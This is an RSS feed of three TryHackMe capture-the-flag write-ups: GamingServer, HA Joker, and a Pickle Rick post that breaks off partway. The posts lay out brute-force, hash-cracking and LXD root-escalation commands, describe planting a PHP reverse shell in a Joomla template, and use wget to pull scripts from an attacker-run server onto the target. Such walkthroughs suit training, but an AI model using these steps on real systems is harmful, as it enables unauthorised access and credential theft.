<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Al-bahary Hacks 👨🏾‍💻😎]]></title><description><![CDATA[Al-bahary Hacks 👨🏾‍💻😎]]></description><link>https://albaharyhacks.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Tue, 08 Sep 2026 22:10:03 GMT</lastBuildDate><atom:link href="https://albaharyhacks.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Complete Guide to Solving the GamingServer CTF Challenge]]></title><description><![CDATA[Introduction
This guide details a penetration testing process on a GamingServer using tools like Nmap for port scanning, Gobuster for directory enumeration, and John the Ripper for password cracking. Key findings include open ports for SSH and a web ...]]></description><link>https://albaharyhacks.hashnode.dev/complete-guide-to-solving-the-gamingserver-ctf-challenge</link><guid isPermaLink="true">https://albaharyhacks.hashnode.dev/complete-guide-to-solving-the-gamingserver-ctf-challenge</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[beginner]]></category><dc:creator><![CDATA[Yunis Mohamed]]></dc:creator><pubDate>Tue, 26 Nov 2024 14:47:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729608866938/8e2ff2ad-15f7-44d5-8d1e-07edeed71548.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>This guide details a penetration testing process on a <strong>GamingServer</strong> using tools like <strong>Nmap</strong> for port scanning, <strong>Gobuster</strong> for directory enumeration, and <strong>John the Ripper</strong> for password cracking. Key findings include open ports for <strong>SSH</strong> and a web server, discovery of sensitive directories and files, and use of the dict.lst file for cracking a <strong>private SSH key</strong>. Further steps involve using <strong>LinEnum</strong> for privilege escalation by exploiting membership in the <strong>lxc group</strong> and deploying an Alpine Linux container to gain root access and retrieve the final flag.</p>
<h2 id="heading-enumeration-and-port-scanning">Enumeration and Port Scanning</h2>
<p>we will use Nmap to scan for open ports and services using the following command: <code>sudo nmap -sV -sC 10.10.175.143 -oA nmap_default</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729609844757/803d70df-780e-4803-86ea-dedc662c74a5.png" alt /></p>
<p>Our results show that we have two open ports, one for SSH and port 80 for the webserver. Since we don’t have the SSH login credentials yet, we will view the web server and look for potential hints or interesting information.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729610160230/7ddf95de-da3f-45e8-ab9f-929fd764ec0d.png" alt class="image--center mx-auto" /></p>
<p>When I viewed the website, nothing stood out, so I decided to view the page source. There, I found some interesting information in the form of an HTML comment. The comment referenced a user name, John. This could be important information and could be a potential login to the server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729610849573/01f89e0c-e89b-479a-bad5-c17a7974f98a.png" alt /></p>
<p>The next step was to perform a directory enumeration using Gobuster to find any potential hidden directories or files. the command I used is the following command:</p>
<p><code>gobuster dir -u</code> <a target="_blank" href="http://10.10.175.143/"><code>http://10.10.175.143/</code></a> <code>-x php,html,txt -w /usr/share/dirb/wordlists/common.txt</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729610915601/c3848c59-40c4-4b9f-a5b5-63b78bac8576.png" alt class="image--center mx-auto" /></p>
<p>from the results, we see there is a <strong>robot.txt</strong> file that could contain sensitive information <code>/secret/</code> and an <code>/uploads/</code> directory. We will visit the directories for further investigations.</p>
<p>The robots.txt had the <strong>/uploads</strong> directory listed as allowed. After visiting the <code>/uploads</code> directory I found an interesting <code>dict.lst</code> file which is a file that can be used to brute credentials. We will download it to our machine using the below command: <code>wget -O dict.lst</code> <a target="_blank" href="http://10.10.175.143/uploads/dict.lst"><code>http://10.10.175.143/uploads/dict.lst</code></a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729612550476/4e2727a0-a2b6-416c-a23c-4b42faee2478.png" alt class="image--center mx-auto" /></p>
<p>visiting the /secret directory, I found a file named <code>secretKey</code>.This could contain the passphrase/password we require to log in as John on the web server. We will download it to our machine as well using the below command:<code>wget -O id_rsa</code> <a target="_blank" href="http://10.10.175.143/secret/secretKey"><code>http://10.10.175.143/secret/secretKey</code></a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729613151957/37f383b2-0ae7-4bd1-b622-4f9a13b30eea.png" alt /></p>
<p>The next step will be to try and log in using our gained credentials to see if we will gain access. before that, we have to change the permission for the id_rsa key file since It contains a private SSH key. By doing this we ensure that we are the owners of the key and can use it to log in otherwise ssh login will not be successful. The command to this is <code>chmod 600 id_rsa</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729614010625/bc8d1f96-9d80-4d34-b764-f14c28ce15f3.png" alt /></p>
<p>when trying to log in using the <code>ssh -i id_rsa john@10.10.175.143</code>.command we are required to enter a passphrase that we can crack using the dict.lst file we had discovered. We are going to use John the Ripper for this. we are going to extract the passphrase from the private key using the following command; <code>python /usr/share/john/</code><a target="_blank" href="http://ssh2john.py"><code>ssh2john.py</code></a> <code>id_rsa &gt; id_rsa_Hash.txt</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729614671205/7876dd2e-fea9-42d3-87d1-5755c095c244.png" alt /></p>
<p>next, we will perform the password cracking using the following command: <code>john --wordlist=/home/kali/GamingServer/dict.lst id_rsa_Hash.txt</code>. after a few moments, the cracking process was complete and the passphrase was to be <code>letmein</code>.Now we can log in successfully.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729616129658/e20ecf4e-2395-465a-aaf5-63d6e3ccdd07.png" alt /></p>
<p>for the <code>user flag.txt</code>, we can find in John’s directory.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729616380816/a31c77c4-9305-4003-813a-e37187a322c4.png" alt /></p>
<p>for the root flag, we have to escalate our privilege to root.</p>
<h2 id="heading-privilege-escalation">Privilege Escalation</h2>
<p>I will be using an automated tool called <strong>LinEnum</strong> which helps in identifying potential vectors that we can use for privilege escalation. I will transfer this tool to the attack machine using the Python Local server.</p>
<p><code>python3 -m http.server 8000</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732630596203/f61418ba-ff30-4aef-90af-76183ff3eff6.png" alt class="image--center mx-auto" /></p>
<p>on the attack machine, I will download the file using the <code>wget</code> command</p>
<p><code>wget http://10.9.2.114:8000/LinEnum.sh</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732630730071/21863db5-255a-4b70-b97c-f949a43c824c.png" alt class="image--center mx-auto" /></p>
<p>After downloading the file I gave it the executable permission using the <code>chmod +x</code> command.To run the file use <code>./LinEnum.sh</code>. From the results, I found out that we are members of the <code>lxc</code> group.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732630968241/58e32d84-7766-4a5a-b128-44a2c7a91bec.png" alt class="image--center mx-auto" /></p>
<p><strong>LXD (Linux Container Daemon)</strong> is a container management tool that provides a system-wide daemon for managing containers. It operates on top of Linux Containers (LXC) and offers additional features like snapshots, image management, and REST API for container orchestration.</p>
<h4 id="heading-exploitation-process"><strong>Exploitation Process:</strong></h4>
<p><strong>Import a Custom Alpine Image</strong>: Download and import a lightweight Alpine Linux image with additional capabilities on our local machine and transfer it to the target machine via the local HTTP server:</p>
<p><code>git clone</code> <a target="_blank" href="https://github.com/saghul/lxd-alpine-builder.git"><code>https://github.com/saghul/lxd-alpine-builder.git</code></a></p>
<p><code>cd lxd-alpine-builder</code></p>
<p><code>./build -alpine</code></p>
<p>Next, we need to copy the compressed file to the target machine and then import the image using <code>lxc</code>.</p>
<p><code>lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage</code></p>
<p><code>lxc image list</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732626880750/c1aeba7c-3465-4a3f-a49d-6b0dbe826aaf.png" alt class="image--center mx-auto" /></p>
<p><strong>Launch a Container</strong>: Create and launch a container using the imported Alpine image:</p>
<p><code>lxc init myimage ignite -c security.privileged=true</code></p>
<p><code>lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true</code></p>
<p><code>lxc start mycontainer</code></p>
<p><code>lxc start ignite</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732628948890/540ea9f4-e578-4668-aaf9-5f7a10edb14b.png" alt class="image--center mx-auto" /></p>
<p>Our container has been created. Now we can start the container and read our final flag in the <code>/mnt/root/root</code> directory!</p>
<p><code>lxc exec ignite /bin/sh</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732629120589/8d53632e-cbe5-48a2-8a17-42a24b47d0c0.png" alt class="image--center mx-auto" /></p>
<p>To obtain the final.txt file in the <code>/mnt/root/root</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732629220283/440bfa54-5404-4a0d-994d-9e6197b57c18.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>The LXD exploitation, in particular, highlighted the critical importance of robust system configuration and user permissions. A single misstep can provide attackers with a foothold, enabling them to compromise sensitive systems and data. This exercise reinforced the significance of continuous learning and adaptation in the face of evolving threats. Regular system audits, timely updates, and the implementation of stringent security best practices are essential to safeguard digital assets.</p>
]]></content:encoded></item><item><title><![CDATA[Complete Walkthrough Guide for HA Joker CTF Challenge]]></title><description><![CDATA[Introduction
This lab is designed in a capture-the-flag format, where I will solve the challenges step by step. The Joker CTF is named after the fictional animated character in the Batman world. The lab aims to provide practice for penetration testin...]]></description><link>https://albaharyhacks.hashnode.dev/complete-walkthrough-guide-for-ha-joker-ctf-challenge</link><guid isPermaLink="true">https://albaharyhacks.hashnode.dev/complete-walkthrough-guide-for-ha-joker-ctf-challenge</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Yunis Mohamed]]></dc:creator><pubDate>Mon, 18 Nov 2024 08:08:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1731917094805/0f911930-a072-40ab-a07d-fb332d6df1e7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>This lab is designed in a capture-the-flag format, where I will solve the challenges step by step. The <strong>Joker</strong> CTF is named after the fictional animated character in the Batman world. The lab aims to provide practice for penetration testing activities and an understanding of key concepts.</p>
<h3 id="heading-objectives"><strong>Objectives</strong></h3>
<ul>
<li><p><strong>Enumeration of Services</strong></p>
<ul>
<li>Use <strong>Nmap</strong> to identify open ports and running services.</li>
</ul>
</li>
<li><p><strong>Bruteforce Attacks</strong></p>
<ul>
<li><p>Perform brute force on files over HTTP.</p>
</li>
<li><p>Crack basic authentication credentials.</p>
</li>
</ul>
</li>
<li><p><strong>Hash Cracking</strong></p>
<ul>
<li><p>Crack the hash of a ZIP file to uncover its password.</p>
</li>
<li><p>Crack a MySQL user hash to gain database access.</p>
</li>
</ul>
</li>
<li><p><strong>Exploitation</strong></p>
<ul>
<li><p>Exploit vulnerabilities to establish a reverse shell.</p>
</li>
<li><p>Stabilize the reverse shell by spawning a TTY shell.</p>
</li>
</ul>
</li>
<li><p><strong>Privilege Escalation</strong></p>
<ul>
<li>Escalate privileges to root by exploiting flaws in <strong>LXD</strong>.</li>
</ul>
</li>
</ul>
<h2 id="heading-tools-used">Tools Used</h2>
<ul>
<li><p><strong>Gobuster:</strong> Finds hidden files, directories, or subdomains on a website by brute-forcing possible names.</p>
</li>
<li><p><strong>Nikto:</strong> Scans web servers for vulnerabilities, outdated software, and misconfigurations.</p>
</li>
<li><p><strong>Nmap:</strong> Discovers open ports, services, and operating systems on a target network.</p>
</li>
<li><p><strong>John the Ripper:</strong> Cracks password hashes to recover or test password strength.</p>
</li>
<li><p><strong>Hydra:</strong> Brute-forces login credentials on various services like SSH, FTP, or HTTP.</p>
<p>  <strong>Target Machine IP address</strong>: <code>10.10.44.109</code></p>
</li>
</ul>
<h2 id="heading-enumeration">Enumeration</h2>
<p>I will use nmap to enumerate open ports and services running on the target machine.</p>
<p>nmap command: <code>nmap -sV -sC 10.10.44.109</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731875558859/4c6c1399-36ba-4cee-b237-6ffbd8bad139.png" alt class="image--center mx-auto" /></p>
<p>From our nmap result we can see that we have three open ports and services; <strong>port 22 ssh,</strong> <strong>port 80 http</strong>, and <strong>port 8080 http</strong>. We will research the two http service for any important information.</p>
<h3 id="heading-port-80-http">port 80 http</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731876088700/f04cf173-13b4-447b-97ea-3cfddca5e6a5.png" alt class="image--center mx-auto" /></p>
<p>Viewing the website running on the <strong>port 80</strong>, nothing was standing out so the next step was to perform directory bruteforce attack on the website using gobuster.</p>
<p>gobuster command: <code>gobuster dir -u</code> <a target="_blank" href="http://10.10.175.143/"><code>http://</code></a><code>10.10.44.109</code><a target="_blank" href="http://10.10.175.143/"><code>/</code></a> <code>-x php,html,txt -w /usr/share/dirb/wordlists/common.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731876558625/4d2e4fb1-771d-477b-bc9a-ada3cff14fea.png" alt class="image--center mx-auto" /></p>
<p>After enumerating the website, I found a file named /secret.txt that stood out, so I decided to check it. The file contained a conversation between Batman and the Joker.One of the things that stood out was the names in this conversation which are <strong>joker</strong> and <strong>batman</strong>. This could be potential usernames for a login perharps?.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731876884570/e662cd39-e843-4ec3-bf9d-79f98a856144.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-port-8080-http">Port 8080 http</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731877000850/b444b88a-956e-49af-9bae-7b493c119ddf.png" alt class="image--center mx-auto" /></p>
<p>Viewing the website running on the port 8080, we are greeted with a login which requires a username and password which we dont have at the moment.We will try to bruteforce the login using one of the names in the <strong>/secret.txt</strong> file which was <strong>joker</strong> .The tool we will use is <strong>Hydra.</strong></p>
<p>Hydra command : <code>hydra -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 -f 10.10.44.109 http-get /</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731877393468/cbe4b61a-6fae-4760-84d8-fabacdddd664.png" alt class="image--center mx-auto" /></p>
<p>We were able to get the password and login to the website.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731877464211/a6c789ce-9992-465f-80ed-da7494d22c9f.png" alt class="image--center mx-auto" /></p>
<p>Next step, is to try and look for potential hidden directories. For this I used two tools; <strong>Gobuster</strong> which came up with little infromation and <strong>Nikto</strong> which its output was more comprehensive.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731877640232/88841abd-a33f-4a9b-82e0-28dbefdec77d.png" alt class="image--center mx-auto" /></p>
<p>Using gobuster I was able to find an interesting directory /administartor which was a login page presumably for the admin of the site.</p>
<p>gobuster command: <code>gobuster dir -u</code> <a target="_blank" href="http://10.10.178.140:8080"><code>http://</code></a><code>10.10.44.109</code><a target="_blank" href="http://10.10.178.140:8080"><code>:8080</code></a> <code>-w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_results.txt</code></p>
<p>Using <strong>Nikto</strong>, I was able to find another interesting file called /backup.zip which could hold important information.</p>
<p>Nikto command : <code>nikto -h</code> <a target="_blank" href="http://10.10.215.43:8080/"><code>http://10.10.44.109:8080/</code></a> <code>-id joker:hannah</code></p>
<p><code>-id joker:hannah</code></p>
<ul>
<li><p>Provides HTTP Basic Authentication credentials:</p>
<ul>
<li><p><code>joker</code> is the <strong>username</strong>.</p>
</li>
<li><p><code>hannah</code> is the <strong>password</strong>.</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731878268119/4ca49d54-b148-4c67-b208-8922bfc5c526.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-zip-hash-cracking">Zip Hash Cracking</h3>
<p>I will use the tool John The Ripper to crack the hash for the /backup.zip file.</p>
<p><strong>Step 1: Extract the Hash from the ZIP File</strong></p>
<p>command : <code>zip2john</code> <a target="_blank" href="http://backup.zip"><code>backup.zip</code></a> <code>&gt;</code> <a target="_blank" href="http://backup.zip"><code>backup.</code></a><code>hash.txt</code></p>
<p><strong>Step 2: Use John to Crack the Hash</strong></p>
<p>command : <code>john backup_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731878797232/eebfd7a7-5fa0-4199-bf37-b07d3a0b16c9.png" alt class="image--center mx-auto" /></p>
<p>I was able to crack the hash and obtain the password, now we can read contents of the backup.zip file. The file contained a database file named <strong>joomladb.sql.</strong> The database contained vital information such as username, passwords for the users of the website. We were able to get the admin credentials which we can use to login as the admin in the <strong>/administator login page.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731879140473/e3e90618-59ec-4526-91a9-33dc28f1843f.png" alt class="image--center mx-auto" /></p>
<p>Cracking the password hash using John we were able to get the admin password and login as the admin.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731879307557/ff0245fd-cefd-457b-b5ec-244f1c132d5f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731879388194/0fbde35e-6e92-4158-afc2-9a839e155fe2.png" alt class="image--center mx-auto" /></p>
<p>The next step will be to gain acess to the backend of the website Via a reverse shell which will connect to our own machine. After going through the website, I found a functionality which allows a php file upload in the template section of the website.This is the way I used to upload a reverse shell command from <a target="_blank" href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">pentest monkey</a> The file I added the exploit was the **error.php.**To run the expoit use I visited this url <strong>:</strong> <code>http://10.10.44.109:8080/templates/beez3/error.php</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731879790769/11a3f507-e853-42e7-aea2-a5ba2f6579f0.png" alt class="image--center mx-auto" /></p>
<p>The reverse shell connection was successful and I was able to gain a connection.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731880011482/21c20f85-cf4f-4c6c-a212-2c8456390dfd.png" alt class="image--center mx-auto" /></p>
<p>After gaining access next step was to Escalate our privilege to the hightest user.</p>
<h2 id="heading-privilege-escalation">Privilege Escalation</h2>
<p>To gain the highest Privilege I will be exploiting the <strong>lxd</strong> Flaw in the sysytems group permissions.</p>
<h3 id="heading-what-is-lxd"><strong>What is LXD?</strong></h3>
<p><strong>LXD (Linux Container Daemon)</strong> is a container management tool that provides a system-wide daemon for managing containers. It operates on top of Linux Containers (LXC) and offers additional features like snapshots, image management, and REST API for container orchestration.</p>
<h3 id="heading-lxd-privilege-escalation-flaws"><strong>LXD Privilege Escalation Flaws</strong></h3>
<p>LXD can be exploited for privilege escalation on Linux systems if certain conditions are met. The core vulnerability arises from improper configuration, specifically when a non-privileged user is allowed to manage or launch containers through LXD. Here's how this leads to privilege escalation:</p>
<h4 id="heading-1-access-to-lxd-group"><strong>1. Access to LXD Group</strong></h4>
<ul>
<li><p><strong>LXD</strong> requires administrative privileges to operate. Users in the <code>lxd</code> group are granted root-equivalent access to containers.</p>
</li>
<li><p>If a non-privileged user is added to the <code>lxd</code> group, they can exploit this trust to escalate privileges.</p>
</li>
</ul>
<h4 id="heading-2-exploiting-container-capabilities"><strong>2. Exploiting Container Capabilities</strong></h4>
<p>LXD containers can be configured to access and mount the host system's file system or devices. This is done using custom images or privileged container configurations:</p>
<ul>
<li><p>An attacker can launch a container and bind-mount the host’s root file system (<code>/</code>) into the container.</p>
</li>
<li><p>Once mounted, the attacker can modify critical system files (e.g., <code>/etc/passwd</code>) or binaries, granting themselves root access.</p>
</li>
</ul>
<h4 id="heading-exploitation-process"><strong>Exploitation Process</strong>:</h4>
<ol>
<li><strong>Check for LXD Membership</strong>: Verify if the current user is part of the <code>lxd</code> group:</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731912782868/afabad72-c216-46db-bc24-adde10c847a1.png" alt class="image--center mx-auto" /></p>
<ol start="2">
<li><p><strong>Import a Custom Alpine Image</strong>: Download and import a lightweight Alpine Linux image with additional capabilities on our local machine and transfer it to the target machine via the local HTTP server:</p>
<p> <code>git clone</code> <a target="_blank" href="https://github.com/saghul/lxd-alpine-builder.git"><code>https://github.com/saghul/lxd-alpine-builder.git</code></a></p>
<p> <code>cd lxd-alpine-builder</code></p>
<p> <code>./build -alpine</code></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731913498905/cde251ef-9998-4a0a-b9bd-abba69356dde.png" alt class="image--center mx-auto" /></p>
<p> start the local server: <code>python3 -m http.server 9000</code></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731913240010/5f989131-4d23-478a-b18d-2f0b5defb022.png" alt class="image--center mx-auto" /></p>
<p> on the target machine we will get the <strong>tar.gz</strong> file using the wget commmand.</p>
<p> <code>wget</code> <a target="_blank" href="http://10.9.2.52:9000/alpine-v3.13-x86_64-20210218_0139.tar.gz"><code>http://10.9.2.52:9000/alpine-v3.13-x86_64-20210218_0139.tar.gz</code></a> <code>-O /tmp/alpine.tar.gz</code></p>
<p> I encountered issues trying to copy the file to root directory due to lack of permission so I had to copy the file to the <strong>/tmp</strong> directory which had permissions.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731913834843/267f5bd4-35e9-461f-9788-06b95b758d82.png" alt class="image--center mx-auto" /></p>
<p> Next we need to copy the compressed file to the target machine and then import the image using <code>lxc</code>.</p>
<p> <code>lxc image import ./alpine.tar.gz --alias myimage</code></p>
<p> <code>lxc image list</code></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731914131418/4088b102-fdae-4a91-b6a9-8edc9f462c07.png" alt class="image--center mx-auto" /></p>
</li>
</ol>
<p><strong>Launch a Container</strong>: Create and launch a container using the imported Alpine image:</p>
<p><code>lxc init mymage ignite -c security.privileged=true</code></p>
<p><code>lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true</code></p>
<p><code>lxc start mycontainer</code></p>
<p><code>lxc start ignite</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731914359466/4a4c2fc3-cc20-443f-b5e2-99689f76450f.png" alt class="image--center mx-auto" /></p>
<p>Our container has been created. Now we can start the container and read our final flag in the <code>/mnt/root/root</code> directory!</p>
<p><code>/tmp$ lxc exec ignite /bin/sh</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731914584160/a26646f5-2f70-49c9-b3c0-c5cd0cd17ccc.png" alt class="image--center mx-auto" /></p>
<p>To obtain the final.txt file in the <code>/mnt/root/root</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731914715061/a82c20f9-58f7-46ca-8027-df75bd9ca399.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-to-prevent-privilege-escalation-via-lxd">To prevent privilege escalation via LXD:</h3>
<ol>
<li><p><strong>Restrict LXD Group Membership</strong>:</p>
<ul>
<li><p>Ensure only trusted administrative users are part of the <code>lxd</code> group.</p>
</li>
<li><p>Remove non-administrative users from the group:</p>
</li>
</ul>
</li>
<li><p><strong>Use AppArmor or SELinux</strong>:</p>
<ul>
<li>Constrain LXD container capabilities with mandatory access control systems.</li>
</ul>
</li>
<li><p><strong>Update and Patch LXD</strong>:</p>
<ul>
<li>Regularly update LXD to ensure vulnerabilities are patched.</li>
</ul>
</li>
<li><p><strong>Audit System Configurations</strong>:</p>
<ul>
<li>Periodically review users in privileged groups (<code>sudo</code>, <code>lxd</code>) and container configurations.</li>
</ul>
</li>
</ol>
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>In conclusion, the <strong>HA Joker CTF Challenge</strong> provided a comprehensive learning experience in penetration testing and system vulnerabilities. Through this exercise, I gained valuable insights into the importance of thorough enumeration, as it laid the foundation for identifying potential entry points. The challenge highlighted the effectiveness of <strong>brute force attacks</strong> and <strong>hash cracking</strong> in uncovering sensitive information, emphasizing the need for strong authentication mechanisms and secure password practices.</p>
<p>The exploitation phase underscored the significance of understanding and leveraging vulnerabilities to gain unauthorized access, while the privilege escalation segment, particularly through exploiting LXD flaws, demonstrated the critical need for proper system configuration and user permissions. This exercise reinforced the importance of regular system audits, updates, and the implementation of security best practices to mitigate potential risks.</p>
<p>Overall, the challenge not only enhanced my technical skills but also deepened my understanding of the methodologies and tools used in real-world penetration testing scenarios. It served as a reminder of the ever-evolving nature of cybersecurity threats and the continuous need for vigilance and proactive defense strategies.</p>
]]></content:encoded></item><item><title><![CDATA[Pickle Rick
A Rick and Morty CTF. Help turn Rick back into a human]]></title><description><![CDATA[Introduction
This Rick and Morty-themed challenge requires you to exploit a web server and find three ingredients to help Rick make his potion and transform back into a human from a pickle. This article provides a walkthrough of the steps taken, and ...]]></description><link>https://albaharyhacks.hashnode.dev/pickle-rick-a-rick-and-morty-ctf-help-turn-rick-back-into-a-human</link><guid isPermaLink="true">https://albaharyhacks.hashnode.dev/pickle-rick-a-rick-and-morty-ctf-help-turn-rick-back-into-a-human</guid><category><![CDATA[tryhackme]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[beginner]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Yunis Mohamed]]></dc:creator><pubDate>Sun, 20 Oct 2024 18:56:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1729345889646/620de692-bd1d-400a-a9b0-531a6c52cf7c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>This Rick and Morty-themed challenge requires you to exploit a web server and find three ingredients to help Rick make his potion and transform back into a human from a pickle. This article provides a walkthrough of the steps taken, and remediation for the vulnerability exploited.</p>
<h3 id="heading-testing-methodology"><strong>Testing Methodology</strong></h3>
<ul>
<li><p>Reconnaissance</p>
</li>
<li><p>Enumeration</p>
</li>
<li><p>Directory brute-forcing</p>
</li>
<li><p>Exploitation</p>
</li>
<li><p>Privilege escalation</p>
</li>
</ul>
<h3 id="heading-tools-used">Tools used</h3>
<ul>
<li><p>Nmap</p>
</li>
<li><p>Browser developer tool</p>
</li>
<li><p>Gobuster</p>
</li>
<li><p>Command line</p>
</li>
</ul>
<h3 id="heading-vulnerabilities-found-and-exploited">Vulnerabilities found and Exploited</h3>
<ol>
<li><strong>Sensitive Data Exposure:</strong> Poor Code Practices by Using comments to store sensitive data.</li>
</ol>
<p><strong>Remediation:</strong></p>
<ul>
<li><p><strong>Avoid Hardcoding:</strong> Never store sensitive information directly in the source code. Use secure configuration files or environment variables instead.</p>
</li>
<li><p><strong>Regular Code Reviews:</strong> Conduct thorough code reviews to identify and remove any hardcoded sensitive data.</p>
</li>
<li><p><strong>Developer Training:</strong> Educate developers about secure coding practices and the risks associated with hardcoding sensitive data.</p>
<ol start="2">
<li><strong>Sudo Configuration Errors:</strong> The sudoers file grants excessive privileges to users, they can execute commands with root or other high-privileged accounts.</li>
</ol>
</li>
</ul>
<p><strong>Remediation:</strong></p>
<ul>
<li><p><strong>Review and tighten the sudoers file:</strong> Ensure that only authorized users have the necessary privileges to execute commands as other users.</p>
</li>
<li><p><strong>Use password policies:</strong> Enforce strong password policies for the sudo user to prevent unauthorized access.</p>
</li>
</ul>
<h2 id="heading-reconnaissance">Reconnaissance</h2>
<p>The first step is to scan for open ports and service versions on the system using Nmap. The command we will use is: <code>sudo nmap -sV -sC 10.10.158.167</code>. We will also use the <code>-sC</code> script flag to check for any service vulnerabilities.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729436184879/33162d1b-a343-4d3e-b23f-e8a8fb87a064.png" alt /></p>
<p>From the results of our Nmap scan, we see that we have two open ports: <strong>port 22</strong> for SSH and <strong>port 80</strong>, which usually hosts a web server. For now, we don’t have the credentials for an SSH login, so we will go and view the website which is hosted at <code>http://10.10.158.167</code>.</p>
<h2 id="heading-enumeration">Enumeration</h2>
<p>After visiting the site we see the page below which looks like a static webpage.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729436974274/0307e160-f107-489d-8cdb-8457da216614.png" alt /></p>
<p>Realizing this, I decided to inspect the page source using the browser's developer tools. We found that the username for logging into the web server is <code>R1ckRul3s</code>. This is considered a vulnerability known as <strong>sensitive data exposure</strong>, where a developer accidentally leaves sensitive information, like usernames and passwords, in the source code of a web page. In our case, it was in the form of an HTML comment.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729437725108/3121767d-9190-4dd1-9e47-94c5019eeb92.png" alt /></p>
<h2 id="heading-directory-brute-forcing">Directory brute-forcing</h2>
<p>The next step is to find directories that might be on the webpage. This can uncover hidden files or directories not meant for public access. For this, we will use a free tool called <strong>Gobuster</strong>, which is used for directory brute-forcing. We will use the following command: <code>gobuster dir -u</code> <a target="_blank" href="http://10.10.158.167/"><code>http://10.10.158.167/</code></a> <code>-x php,html,txt -w /usr/share/dirb/wordlists/common.txt</code>.</p>
<p><code>gobuster dir</code>: This specifies that we want to use <code>gobuster</code> it in directory discovery mode.</p>
